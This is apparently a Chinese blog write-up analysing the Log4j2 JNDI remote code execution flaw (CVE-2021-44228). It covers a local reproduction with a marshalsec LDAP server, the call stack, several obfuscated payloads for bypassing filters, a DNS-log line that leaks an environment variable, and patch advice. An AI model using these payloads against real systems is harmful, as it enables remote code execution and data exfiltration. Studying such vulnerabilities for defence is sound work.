log4j2 rce

介绍

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。（​CNVD-2021-95914​ 、CVE-2021-44228）

影响版本

Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过，但是很鸡肋

复现

Java版本是：8u20

首先新建一个maven项目，pom如下：api不是必需的

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>

代码如下：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Test {
    private static final Logger logger = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
//        logger.error("${jndi:ldap://${env:LOGNAME}.rkk7jq.dnslog.cn}");
        logger.error("${jndi:ldap://127.0.0.1:1389/aaa}");
    }
}

启动Ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit

在exp目录下启动http服务

结果如下：

漏洞原理

我们知道执行命令是在Runtime.getRuntime().exec()，我们直接在exec方法下断点，得到调用栈

调用栈如下：

exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test

看到lookup()方法，先点过去

就是常规的jndi注入。

具体调用流程可以看这篇博客。

log4j2 RCE 分析 – 天下大木头 (wjlshare.com)

而log4j处理日志字符串的流程大概是这样的：

总结一下整个分析过程，也很简单

1. 先判断内容中是否有${}，然后截取${}中的内容，得到我们的恶意payload jndi:xxx
2. 后使用:分割payload，通过前缀来判断使用何种解析器去lookup
3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j。

在这里有一点要注意：

*此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。

那么什么情况下会记录呢？

其实log4j在默认情况下等级是fatal和error才可以记录，其他日志等级也不是不能触发，修改一下日志记录等级，让它能够记录下来我们输入的payload，就可以触发漏洞了。

常规绕过

情况1-多个${}

先来分析一下多个${}的执行流程，Payload举例如下：

${aaa:${bbb:ccc}dd}${ee:ff}

简而言之，如果是${${}}这种类型的，会先处理内部的；如果是${}${}类型的，会依次处理。

情况2-分割符

payload1： ${aa:\\-bb}

就是把:\- 中的 \ 去掉了变成了:-

payload2：${aa:-bb}

从源码可以看出来，被:-分割成了前后两部分，前面的部分赋值给varName，后面部分赋值给varDefaultValue；

• varName会被传入到resolveVariable()进行解析，如果没有协议什么的，就会返回null
• 如果resolveVariable()返回值为null，varDefaultValue在后续的过程中也会递归调用substitute，最后会返回varDefaultValue的值。

简单来说就是看看aa是不是协议，如果不是协议就返回null，如果aa返回null的话，返回bb的值。

那么具体有哪些协议呢？

绕过思路

现在知道了${}的执行流程，也知道了分割符的处理流程，那么怎么改造payload呢？

原始payload如下：

${jndi:ldap://127.0.0.1:1389/ccc}

改造后如下：

${${a:-j}ndi:ldap://127.0.0.1:1389/aaa}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/aaa}
${${lower:jn}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/aaa}

技巧

结合解析协议，我们可以用协议读取一些环境变量

payload:

${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}

但是在这里我没有在dns记录里面成功看到，不知带为啥，调试之后是成功了的

修复建议

1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
2. 升级JDK版本，建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本，从根源上杜绝大部分常规的JNDI注入

临时措施

1. 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
3. 创建“log4j2.component.properties”文件，文件中增加配置“log4j2.formatMsgNoLookups=true” 【针对 2.10.0 及以上的版本】
4. 限制受影响应用对外访问互联网

参考

06.log4j2_rce分析 · d4m1ts 知识库 (gm7.org)

https://drun1baby.github.io/2022/08/09/Log4j2复现/